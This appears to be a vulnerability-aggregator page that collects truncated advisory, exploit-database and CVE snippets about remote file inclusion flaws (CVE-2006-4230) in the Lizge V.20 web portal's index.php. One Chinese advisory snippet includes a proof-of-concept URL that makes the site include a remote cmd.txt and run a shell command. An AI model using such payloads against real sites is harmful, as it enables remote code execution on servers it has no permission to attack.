EUVD-2006-4220

Malware in sbrugna...

Lizge V.20 Index.PHP Multiple Remote File Include Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/19533/info Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing...

Lizge Index.PHP远程文件包含漏洞

Lizge是一款基于PHP的WEB应用程序。 Lizge不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'lizge'和'bade'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Lizge Lizge V.20 http://www.lizge.com/ http://www.example.com/target/lizgepath//index.php?lizge=http://www.example.com/cmd.txt?cmd=ls...

lizge20.txt

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Lizge V.20 Web Portal File Include Vulnerability -------------------------------------------------------------------------------- Author: CrackersChild cont@ct:...

CVE-2006-4230

Multiple PHP remote file inclusion vulnerabilities in index.php in Lizge V.20 Web Portal allow remote attackers to execute arbitrary PHP code via a URL in the 1 lizge or 2 bade parameters...

CVE-2006-4230

Summary: CVE-2006-4230 describes multiple PHP remote file inclusion vulnerabilities in the Lizge V.20 Web Portal. The flaw resides in index.php, where an attacker can cause arbitrary PHP code execution by supplying a URL in the (1) lizge or (2) bade parameters. The NVD entry lists a base CVSS v2 ...

CVE-2006-4230: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in index.php in Lizge V.20 Web Portal allow remote attackers to execute arbitrary PHP code via a URL in the 1 lizge or 2 bade parameters...

Lizge V.20 Web Portal File Include Vulnerability

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Lizge V.20 Web Portal File Include Vulnerability -------------------------------------------------------------------------------- Author: CrackersChild cont@ct:...

Lizge 20 - 'index.php' Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/19533/info Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in t...

Lizge 20 - index.php Multiple Remote File Inclusions

Lizge 20 - index.php Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/19533/info Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote...